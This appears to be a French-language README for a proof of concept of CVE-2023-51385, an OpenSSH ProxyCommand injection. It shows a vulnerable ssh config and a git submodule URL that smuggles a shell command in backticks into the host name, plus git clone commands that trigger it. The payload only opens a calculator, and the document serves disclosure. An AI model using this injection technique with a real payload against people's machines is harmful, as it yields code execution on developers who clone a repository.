
Preuve de concept pour exploiter des configurations proxycommand vulnérables sur des clients ssh (CVE-2023-51385)
~/.ssh/config non sécuriséL'utilisation de jetons comme %h, %p dans ProxyCommand est assez populaire pour utiliser des tunnels et du proxy de connexion via SSH.
host *.example.com
ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
Note : dans mon évaluation initiale, j'avais l'impression que l'utilisation de '%h` (guillemets simples) éviterait cela, mais il semble que cela reste vulnérable avec quelque chose comme :
url = ssh://'`open -aCalculator`'foo.example.com/bar
Tiré de : https://man.openbsd.org/ssh_config#ProxyCommand
Un sous-module qui exploiterait cette vulnérabilité pour ouvrir une calculatrice sur OSX.
Essayez-le avec :
git clone https://github.com/vin01/poc-proxycommand-vulnerable --recurse-submodules
ou
git clone [email protected]:vin01/poc-proxycommand-vulnerable.git --recurse-submodules